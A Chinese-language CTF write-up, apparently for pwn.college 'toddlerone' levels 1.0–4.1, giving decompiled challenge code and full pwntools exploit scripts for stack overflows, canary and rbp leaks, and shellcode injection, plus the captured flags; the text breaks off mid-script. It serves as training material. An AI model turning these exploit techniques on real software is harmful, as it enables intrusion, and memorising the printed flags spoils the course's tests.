Open Table of contents
之前说啥来着?想嗨几天?害,我看我是停不下来了 ^-^ 听着,陌生人,你还年轻,千万别学我,天天厮混在这该死的二进制的海洋里面。带上朋友们一起加入吧 bushi
嗯,这章是之前 Memory Errors 和 Shellcode Injection 的组合,需要我们充分利用之前所学的一切知识来组织攻击链。
感觉应该挺简单。我,CuB3y0nd,请求出征!
Write a full exploit involving shellcode and a method of tricking the challenge into executing it.
__int64 __fastcall challenge ( int a1 , __int64 a2 , __int64 a3 )
_QWORD v6 [ 3 ]; // [rsp+0h] [rbp-60h] BYREF
int v7 ; // [rsp+1Ch] [rbp-44h]
size_t nbytes ; // [rsp+28h] [rbp-38h] BYREF
_QWORD v9 [ 3 ]; // [rsp+30h] [rbp-30h] BYREF
char v10 ; // [rsp+48h] [rbp-18h]
int v11 ; // [rsp+54h] [rbp-Ch]
void * buf ; // [rsp+58h] [rbp-8h]
__int64 savedregs ; // [rsp+60h] [rbp+0h] BYREF
_UNKNOWN * retaddr ; // [rsp+68h] [rbp+8h] BYREF
memset ( v9 , 0 , sizeof ( v9 ));
puts ( "The challenge() function has just been launched!" );
bp_ = ( __int64 ) & savedregs ;
sz_ = (( unsigned __int64 )(( char * ) & savedregs - ( char * ) v6 ) >> 3 ) + 2 ;
puts ( "Before we do anything, let's take a look at challenge()'s stack frame:" );
printf ( "Our stack pointer points to %p, and our base pointer points to %p. \n " , ( const void * ) sp_ , ( const void * ) bp_ );
printf ( "This means that we have (decimal) %d 8-byte words in our stack frame, \n " , sz_ );
puts ( "including the saved base pointer and the saved return address, for a" );
printf ( "total of %d bytes. \n " , 8 * sz_ );
printf ( "The input buffer begins at %p, partway through the stack frame, \n " , buf );
puts ( "( \" above \" it in the stack are other local variables used by the function)." );
puts ( "Your input will be read into this buffer." );
printf ( "The buffer is %d bytes long, but the program will let you provide an arbitrarily \n " , 25 );
puts ( "large input length, and thus overflow the buffer. \n " );
puts ( "We have disabled the following standard memory corruption mitigations for this challenge:" );
puts ( "- the canary is disabled, otherwise you would corrupt it before" );
puts ( "overwriting the return address, and the program would abort." );
shellcode = mmap (( void * ) 0x 2247D000 , 0x 1000 uLL , 7 , 34 , 0 , 0 LL );
if ( shellcode != ( void * ) 575131648 )
__assert_fail ( "shellcode == (void *)0x2247d000" , "/challenge/toddlerone-level-1-0.c" , 0x 95 u , "challenge" );
printf ( "Mapped 0x1000 bytes for shellcode at %p! \n " , ( const void * ) 0x 2247D000 );
puts ( "Reading 0x1000 bytes of shellcode from stdin. \n " );
shellcode_size = read ( 0 , shellcode , 0x 1000 uLL );
__assert_fail ( "shellcode_size > 0" , "/challenge/toddlerone-level-1-0.c" , 0x 99 u , "challenge" );
puts ( "This challenge has loaded the following shellcode: \n " );
print_disassembly ( shellcode , shellcode_size );
printf ( "Payload size: " );
__isoc99_scanf ( "%lu" , & nbytes );
printf ( "You have chosen to send %lu bytes of input! \n " , nbytes );
printf ( "This will allow you to write from %p (the start of the input buffer) \n " , buf );
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer). \n " ,
printf ( "Send your payload (up to %lu bytes)! \n " , nbytes );
v11 = read ( 0 , buf , nbytes );
printf ( "ERROR: Failed to read input -- %s! \n " , v4 );
printf ( "You sent %d bytes! \n " , v11 );
puts ( "Let's see what happened with the stack: \n " );
puts ( "The program's memory status:" );
printf ( "- the input buffer starts at %p \n " , buf );
printf ( "- the saved frame pointer (of main) is at %p \n " , ( const void * ) bp_ );
printf ( "- the saved return address (previously to main) is at %p \n " , ( const void * ) rp_ );
printf ( "- the saved return address is now pointing to %p. \n " , * ( const void ** ) rp_ );
所以,我一眼就看出了你的所有漏洞,并用不到 10 秒想出了一套完整的针对你的攻击链。你,不愧是一道纯正的开胃菜。
~握草了好下笔啊啊啊啊。 ~下面讲正经的,shellcode 方面没遇到什么限制,程序在 0x2247D000
专门为我们的 shellcode 分配了 0x1000
字节的 rwx
空间,我们随心日它就完了。随后,有一个任意大小读,用它溢出 buf
并覆盖返回地址为 0x2247D000
即可。easy peasy!
from pwn import ELF , asm , context , gdb , log , p64 , pause , process , remote , shellcraft
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-1-0"
HOST , PORT = "localhost" , 1337
padding_to_ret = b "" . ljust ( 0x 38 , b "A" )
ret_addr = p64 ( 0x 2247D000 )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
def construct_payload ( stage ):
stage_1 = shellcraft . cat ( "/flag" )
stage_2 = padding_to_ret + ret_addr
log . failure ( "Unknown stage number." )
def attack ( target , payload ):
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
response = target . recvall ( timeout = 5 )
return b "pwn.college{" in response
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( 1 )
send_payload ( target , payload )
payload = construct_payload ( 2 )
if attack ( target , payload ):
log . success ( "Success! Exiting..." )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{YRuLYIKU6u9uASqOycoKQO17Ttn.0VOxMDL5cTNxgzW}
Write a full exploit involving shellcode and a method of tricking the challenge into executing it.
以后像这种子 level,如非必要,我都不会再贴 wp 了,因为和 main level 没太大区别,无非就是删除了多余的提示信息,strip 了符号表和调试信息。
from pwn import ELF , asm , context , gdb , log , p64 , pause , process , remote , shellcraft
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-1-1"
HOST , PORT = "localhost" , 1337
padding_to_ret = b "" . ljust ( 0x 78 , b "A" )
ret_addr = p64 ( 0x 22A60000 )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
def construct_payload ( stage ):
stage_1 = shellcraft . cat ( "/flag" )
stage_2 = padding_to_ret + ret_addr
log . failure ( "Unknown stage number." )
def attack ( target , payload ):
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
response = target . recvall ( timeout = 5 )
return b "pwn.college{" in response
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( 1 )
send_payload ( target , payload )
payload = construct_payload ( 2 )
if attack ( target , payload ):
log . success ( "Success! Exiting..." )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{8kWI1BeY-FwKn2lIHdlSEEYHZ_G.0FMyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it. Note, ASLR is disabled!
__int64 __fastcall challenge ( int a1 , __int64 a2 , __int64 a3 )
_QWORD v6 [ 3 ]; // [rsp+0h] [rbp-50h] BYREF
int v7 ; // [rsp+1Ch] [rbp-34h]
size_t nbytes ; // [rsp+28h] [rbp-28h] BYREF
_QWORD v9 [ 2 ]; // [rsp+30h] [rbp-20h] BYREF
int v10 ; // [rsp+44h] [rbp-Ch]
void * buf ; // [rsp+48h] [rbp-8h]
__int64 savedregs ; // [rsp+50h] [rbp+0h] BYREF
_UNKNOWN * retaddr ; // [rsp+58h] [rbp+8h] BYREF
puts ( "The challenge() function has just been launched!" );
bp_ = ( __int64 ) & savedregs ;
sz_ = (( unsigned __int64 )(( char * ) & savedregs - ( char * ) v6 ) >> 3 ) + 2 ;
puts ( "Before we do anything, let's take a look at challenge()'s stack frame:" );
printf ( "Our stack pointer points to %p, and our base pointer points to %p. \n " , ( const void * ) sp_ , ( const void * ) bp_ );
printf ( "This means that we have (decimal) %d 8-byte words in our stack frame, \n " , sz_ );
puts ( "including the saved base pointer and the saved return address, for a" );
printf ( "total of %d bytes. \n " , 8 * sz_ );
printf ( "The input buffer begins at %p, partway through the stack frame, \n " , buf );
puts ( "( \" above \" it in the stack are other local variables used by the function)." );
puts ( "Your input will be read into this buffer." );
printf ( "The buffer is %d bytes long, but the program will let you provide an arbitrarily \n " , 16 );
puts ( "large input length, and thus overflow the buffer. \n " );
puts ( "We have disabled the following standard memory corruption mitigations for this challenge:" );
puts ( "- the canary is disabled, otherwise you would corrupt it before" );
puts ( "overwriting the return address, and the program would abort." );
puts ( "- the binary is *not* position independent. This means that it will be" );
puts ( "located at the same spot every time it is run, which means that by" );
puts ( "analyzing the binary (using objdump or reading this output), you can" );
puts ( "know the exact value that you need to overwrite the return address with. \n " );
puts ( "- the binary will disable aslr. This means that everything in memory will be" );
puts ( "located at the same spot every time it is run, which means that by" );
puts ( "analyzing the binary (using objdump or reading this output), you can" );
puts ( "know the exact value that you need to overwrite the return address with." );
puts ( "Furthermore, you know the absolute address of everything on the stack. \n " );
puts ( "- the stack is executable. This means that if the stack contains shellcode" );
puts ( "and you overwrite the return address with the address of that shellcode, it will execute. \n " );
printf ( "Payload size: " );
__isoc99_scanf ( "%lu" , & nbytes );
printf ( "You have chosen to send %lu bytes of input! \n " , nbytes );
printf ( "This will allow you to write from %p (the start of the input buffer) \n " , buf );
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer). \n " ,
printf ( "Send your payload (up to %lu bytes)! \n " , nbytes );
v10 = read ( 0 , buf , nbytes );
printf ( "ERROR: Failed to read input -- %s! \n " , v4 );
printf ( "You sent %d bytes! \n " , v10 );
puts ( "Let's see what happened with the stack: \n " );
puts ( "The program's memory status:" );
printf ( "- the input buffer starts at %p \n " , buf );
printf ( "- the saved frame pointer (of main) is at %p \n " , ( const void * ) bp_ );
printf ( "- the saved return address (previously to main) is at %p \n " , ( const void * ) rp_ );
printf ( "- the saved return address is now pointing to %p. \n " , * ( const void ** ) rp_ );
很明显的栈溢出,没开 ASLR,而栈又有 rwx
权限。那我们把 shellcode 注入到 buf
头,再覆盖返回地址为 buf
头的地址就好了。
from pwn import ELF , asm , context , gdb , log , os , p64 , process , remote , shellcraft
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-2-0"
HOST , PORT = "localhost" , 1337
ret_addr = p64 ( 0x 00007FFFFFFFD330 )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
def construct_payload ( padding_size ):
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( padding_size - shellcode_length , b "A" )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
target . recvall ( timeout = 5 )
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . error ( "The file './f' does not exist." )
log . error ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( 0x 28 )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{8534tOGLdefUghR4lz5RbC5wYk5.0VMyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it. Note, ASLR is disabled!
这题没回显,所以问题就是返回地址是什么了。因为没开 ASLR,每次栈的基地址都是相同的,所以这里我直接采用爆破的方式了。
from pwn import ELF , asm , context , gdb , log , os , p64 , process , remote , shellcraft , time
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-2-1"
HOST , PORT = "localhost" , 1337
ret_addr = 0x 7FFFFFFDE000
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
def construct_payload ( padding_size ):
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( padding_size - shellcode_length , b "A" )
shellcode += p64 ( ret_addr )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
target . recvall ( timeout = 5 )
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( 0x 48 )
if attack ( target , payload ):
log . exception ( f "An error occurred in main: { e } " )
elapsed_time = end_time - start_time
log . success ( f "Total elapsed time: { elapsed_time :.2f } seconds." )
if __name__ == "__main__" :
Flag: pwn.college{IF2KSArBx1ONOOxBvejSZ5gUqc0.0lMyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it by utilizing clever payload construction.
__int64 __fastcall challenge ( unsigned int a1 , __int64 a2 , __int64 a3 )
__int64 v6 ; // [rsp+0h] [rbp-B0h] BYREF
__int64 v7 ; // [rsp+8h] [rbp-A8h]
__int64 v8 ; // [rsp+10h] [rbp-A0h]
unsigned int v9 ; // [rsp+1Ch] [rbp-94h]
int v10 ; // [rsp+2Ch] [rbp-84h]
size_t nbytes ; // [rsp+30h] [rbp-80h] BYREF
void * buf ; // [rsp+38h] [rbp-78h]
_QWORD v13 [ 11 ]; // [rsp+40h] [rbp-70h] BYREF
int v14 ; // [rsp+98h] [rbp-18h]
char v15 ; // [rsp+9Ch] [rbp-14h]
unsigned __int64 v16 ; // [rsp+A8h] [rbp-8h]
__int64 savedregs ; // [rsp+B0h] [rbp+0h] BYREF
_UNKNOWN * retaddr ; // [rsp+B8h] [rbp+8h] BYREF
v16 = __readfsqword ( 0x 28 u );
memset ( v13 , 0 , sizeof ( v13 ));
puts ( "The challenge() function has just been launched!" );
bp_ = ( __int64 ) & savedregs ;
sz_ = (( unsigned __int64 )(( char * ) & savedregs - ( char * ) & v6 ) >> 3 ) + 2 ;
puts ( "Before we do anything, let's take a look at challenge()'s stack frame:" );
printf ( "Our stack pointer points to %p, and our base pointer points to %p. \n " , ( const void * ) sp_ , ( const void * ) bp_ );
printf ( "This means that we have (decimal) %d 8-byte words in our stack frame, \n " , sz_ );
puts ( "including the saved base pointer and the saved return address, for a" );
printf ( "total of %d bytes. \n " , 8 * sz_ );
printf ( "The input buffer begins at %p, partway through the stack frame, \n " , buf );
puts ( "( \" above \" it in the stack are other local variables used by the function)." );
puts ( "Your input will be read into this buffer." );
printf ( "The buffer is %d bytes long, but the program will let you provide an arbitrarily \n " , 93 );
puts ( "large input length, and thus overflow the buffer. \n " );
puts ( "We have disabled the following standard memory corruption mitigations for this challenge:" );
puts ( "- the stack is executable. This means that if the stack contains shellcode" );
puts ( "and you overwrite the return address with the address of that shellcode, it will execute. \n " );
cv_ = __readfsqword ( 0x 28 u );
while ( * ( _QWORD * ) cp_ != cv_ )
printf ( "Payload size: " );
__isoc99_scanf ( "%lu" , & nbytes );
printf ( "You have chosen to send %lu bytes of input! \n " , nbytes );
printf ( "This will allow you to write from %p (the start of the input buffer) \n " , buf );
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer). \n " ,
printf ( "Send your payload (up to %lu bytes)! \n " , nbytes );
v10 = read ( 0 , buf , nbytes );
printf ( "ERROR: Failed to read input -- %s! \n " , v4 );
printf ( "You sent %d bytes! \n " , v10 );
puts ( "Let's see what happened with the stack: \n " );
puts ( "The program's memory status:" );
printf ( "- the input buffer starts at %p \n " , buf );
printf ( "- the saved frame pointer (of main) is at %p \n " , ( const void * ) bp_ );
printf ( "- the saved return address (previously to main) is at %p \n " , ( const void * ) rp_ );
printf ( "- the saved return address is now pointing to %p. \n " , * ( const void ** ) rp_ );
printf ( "- the canary is stored at %p. \n " , ( const void * ) cp_ );
printf ( "- the canary value is now %p. \n " , * ( const void ** ) cp_ );
printf ( "You said: %s \n " , ( const char * ) buf );
puts ( "This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()" );
puts ( "call to see the hidden backdoor!" );
if ( strstr (( const char * ) buf , "REPEAT" ) )
puts ( "Backdoor triggered! Repeating challenge()" );
return challenge ( v9 , v8 , v7 );
具体怎么打这题的话,我觉得光靠之前的 Memory Errors 和 Shellcode Injection 这两章学到的知识应该还不够打通这题。主要问题出在如何返回到我们的 shellcode。这题本身是有 ASLR 的,每次栈地址都不一样。程序唯一的一个 RWX 段又是我们的栈段,所以……我们的 shellcode 只能放在栈上,那么怎么知道栈的地址呢?泄漏应该是泄漏不出来的,没有格式化字符串漏洞。Nop Sled 感觉也不太行?我没试过,但是脑子里面简单过了一遍感觉不太可能吧。唯有构造 ROP Chain 我觉得是可以的,不过如果真构建 ROP Chain 了那我还要什么 shellcode 啊哈哈哈。所以有很大可能就是这题想考的技巧我没想到(也不排除就是需要用 ROP Chain 也说不准) ,反正这里就先只贴个反编译结果了,要是哪位师傅有想法的话欢迎在底下评论。我先去打 ROP 了,打完之后再回头继续打这章~
反正别告诉我你要通过程序的回显来打……应该没这样的人吧……你要真通过回显打通了,那 3.1 你怎么办是吧哈哈哈。总之看回显很没意思,丧失了本来的意义。
过了十分钟……
好的知道了,果然是我没想到……其实 rbp 也可以被泄漏出来不是吗,用它减去输入起始地址,我们发现偏移是一样的,那构造 shellcode 的时候我们就用泄漏出来的 rbp 减去得到的偏移地址,这就是返回地址了。然后,boom!
boom 个鸟,忘记触发后门后再次调用 challenge 会创建新的栈帧了。不过这两个栈帧一定是紧挨着的,所以我们的思路还是这样,这没问题。只不过计算的时候注意是用第一个栈帧的 rbp 减去第二个栈帧的输入起始地址罢了。(我就说我这么完美的 payload 怎么可能会打不通,果然是忘了什么……Alr, boom!)
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-3-0"
HOST , PORT = "localhost" , 1337
backdoor_trigger = b "" . ljust ( padding_size - len ( backdoor ) + 1 , b "A" ) + backdoor
trigger_length = str ( len ( backdoor_trigger ))
padding_to_ret = b "" . ljust ( 0x 8 , b "A" )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
target . sendlineafter ( b "Payload size: " , trigger_length )
send_payload ( target , backdoor_trigger )
target . recvuntil ( backdoor )
canary = b " \x00 " + target . recv ( 0x 7 )
log . success ( f "Canary: { to_hex_bytes ( canary ) }\n RBP: { to_hex_bytes ( rbp ) } " )
log . exception ( f "An error occurred while leaking canary: { e } " )
def construct_payload ( target , padding_size ):
canary , rbp = leak_data ( target )
rbp = int . from_bytes ( rbp , "little" )
ret_addr = rbp - fixed_offset
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( padding_size - shellcode_length , b "A" )
shellcode += padding_to_ret
shellcode += p64 ( ret_addr )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
target . recvall ( timeout = 5 )
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( target , padding_size )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{IDpfJ24swVO_Q0TAY9ajONzKHTe.01MyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it by utilizing clever payload construction.
参见 Level 3.0 。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-3-1"
HOST , PORT = "localhost" , 1337
backdoor_trigger = b "" . ljust ( padding_size - len ( backdoor ) + 1 , b "A" ) + backdoor
trigger_length = str ( len ( backdoor_trigger ))
padding_to_ret = b "" . ljust ( 0x 8 , b "A" )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
target . sendlineafter ( b "Payload size: " , trigger_length )
send_payload ( target , backdoor_trigger )
target . recvuntil ( backdoor )
canary = b " \x00 " + target . recv ( 0x 7 )
log . success ( f "Canary: { to_hex_bytes ( canary ) }\n RBP: { to_hex_bytes ( rbp ) } " )
log . exception ( f "An error occurred while leaking canary: { e } " )
def construct_payload ( target , padding_size ):
canary , rbp = leak_data ( target )
rbp = int . from_bytes ( rbp , "little" )
ret_addr = rbp - fixed_offset
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( padding_size - shellcode_length , b "A" )
shellcode += padding_to_ret
shellcode += p64 ( ret_addr )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
target . recvall ( timeout = 5 )
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( target , padding_size )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{w1Gz9LGRK9kmwUD7TZnA3xcKN5j.0FNyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload.
__int64 __fastcall challenge ( unsigned int a1 , __int64 a2 , __int64 a3 )
__int64 v6 ; // [rsp+0h] [rbp-A0h] BYREF
__int64 v7 ; // [rsp+8h] [rbp-98h]
__int64 v8 ; // [rsp+10h] [rbp-90h]
unsigned int v9 ; // [rsp+1Ch] [rbp-84h]
int v10 ; // [rsp+2Ch] [rbp-74h]
size_t nbytes ; // [rsp+30h] [rbp-70h] BYREF
void * buf ; // [rsp+38h] [rbp-68h]
_QWORD v13 [ 9 ]; // [rsp+40h] [rbp-60h] BYREF
__int64 v14 ; // [rsp+88h] [rbp-18h]
unsigned __int64 v15 ; // [rsp+98h] [rbp-8h]
__int64 savedregs ; // [rsp+A0h] [rbp+0h] BYREF
_UNKNOWN * retaddr ; // [rsp+A8h] [rbp+8h] BYREF
v15 = __readfsqword ( 0x 28 u );
memset ( v13 , 0 , sizeof ( v13 ));
puts ( "The challenge() function has just been launched!" );
bp_ = ( __int64 ) & savedregs ;
sz_ = (( unsigned __int64 )(( char * ) & savedregs - ( char * ) & v6 ) >> 3 ) + 2 ;
puts ( "Before we do anything, let's take a look at challenge()'s stack frame:" );
printf ( "Our stack pointer points to %p, and our base pointer points to %p. \n " , ( const void * ) sp_ , ( const void * ) bp_ );
printf ( "This means that we have (decimal) %d 8-byte words in our stack frame, \n " , sz_ );
puts ( "including the saved base pointer and the saved return address, for a" );
printf ( "total of %d bytes. \n " , 8 * sz_ );
printf ( "The input buffer begins at %p, partway through the stack frame, \n " , buf );
puts ( "( \" above \" it in the stack are other local variables used by the function)." );
puts ( "Your input will be read into this buffer." );
printf ( "The buffer is %d bytes long, but the program will let you provide an arbitrarily \n " , 70 );
puts ( "large input length, and thus overflow the buffer. \n " );
puts ( "We have disabled the following standard memory corruption mitigations for this challenge:" );
puts ( "- the stack is executable. This means that if the stack contains shellcode" );
puts ( "and you overwrite the return address with the address of that shellcode, it will execute. \n " );
cv_ = __readfsqword ( 0x 28 u );
while ( * ( _QWORD * ) cp_ != cv_ )
printf ( "Payload size: " );
__isoc99_scanf ( "%lu" , & nbytes );
printf ( "You have chosen to send %lu bytes of input! \n " , nbytes );
printf ( "This will allow you to write from %p (the start of the input buffer) \n " , buf );
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer). \n " ,
printf ( "Send your payload (up to %lu bytes)! \n " , nbytes );
v10 = read ( 0 , buf , nbytes );
printf ( "ERROR: Failed to read input -- %s! \n " , v4 );
printf ( "You sent %d bytes! \n " , v10 );
puts ( "Let's see what happened with the stack: \n " );
puts ( "The program's memory status:" );
printf ( "- the input buffer starts at %p \n " , buf );
printf ( "- the saved frame pointer (of main) is at %p \n " , ( const void * ) bp_ );
printf ( "- the saved return address (previously to main) is at %p \n " , ( const void * ) rp_ );
printf ( "- the saved return address is now pointing to %p. \n " , * ( const void ** ) rp_ );
printf ( "- the canary is stored at %p. \n " , ( const void * ) cp_ );
printf ( "- the canary value is now %p. \n " , * ( const void ** ) cp_ );
printf ( "You said: %s \n " , ( const char * ) buf );
puts ( "This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()" );
puts ( "call to see the hidden backdoor!" );
if ( strstr (( const char * ) buf , "REPEAT" ) )
puts ( "Backdoor triggered! Repeating challenge()" );
return challenge ( v9 , v8 , v7 );
puts ( "This challenge will, by default, exit() instead of returning from the" );
puts ( "challenge function. When a process exit()s, it ceases to exist immediately," );
puts ( "and no amount of overwritten return addresses will let you hijack its control" );
puts ( "flow. You will have to reverse engineer the program to understand how to avoid" );
puts ( "making this challenge exit(), and allow it to return normally." );
if ( v14 != 0x 49954B5EFDCB2A29 LL )
puts ( "exit() condition triggered. Exiting!" );
puts ( "exit() condition avoided! Continuing execution." );
很简单吧,令 v14 == 0x49954B5EFDCB2A29
才可以返回到我们的 shellcode。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-4-0"
HOST , PORT = "localhost" , 1337
padding_to_v14_size = 0x 48
backdoor_trigger = b "" . ljust ( padding_size - len ( backdoor ) + 1 , b "A" ) + backdoor
trigger_length = str ( len ( backdoor_trigger ))
padding_to_canary = b "" . ljust ( 0x 8 , b "A" )
padding_to_ret = b "" . ljust ( 0x 8 , b "A" )
v14 = p64 ( 0x 49954B5EFDCB2A29 )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
target . sendlineafter ( b "Payload size: " , trigger_length )
send_payload ( target , backdoor_trigger )
target . recvuntil ( backdoor )
canary = b " \x00 " + target . recv ( 0x 7 )
log . success ( f "Canary: { to_hex_bytes ( canary ) }\n RBP: { to_hex_bytes ( rbp ) } " )
log . exception ( f "An error occurred while leaking canary: { e } " )
def construct_payload ( target ):
canary , rbp = leak_data ( target )
rbp = int . from_bytes ( rbp , "little" )
ret_addr = rbp - fixed_offset
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( padding_to_v14_size - shellcode_length , b "A" )
shellcode += padding_to_canary
shellcode += padding_to_ret
shellcode += p64 ( ret_addr )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
response = target . recvall ( timeout = 5 )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( target )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{ECpb0UATZ-UymShuFolh7qzxgrx.0VNyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload.
参见 Level 4.0 。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-4-1"
HOST , PORT = "localhost" , 1337
padding_to_v14_size = 0x 50
backdoor_trigger = b "" . ljust ( padding_size - len ( backdoor ) + 1 , b "A" ) + backdoor
trigger_length = str ( len ( backdoor_trigger ))
padding_to_ret = b "" . ljust ( 0x 8 , b "A" )
v14 = p64 ( 0x 736E2B681CA77DD2 )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
target . sendlineafter ( b "Payload size: " , trigger_length )
send_payload ( target , backdoor_trigger )
target . recvuntil ( backdoor )
canary = b " \x00 " + target . recv ( 0x 7 )
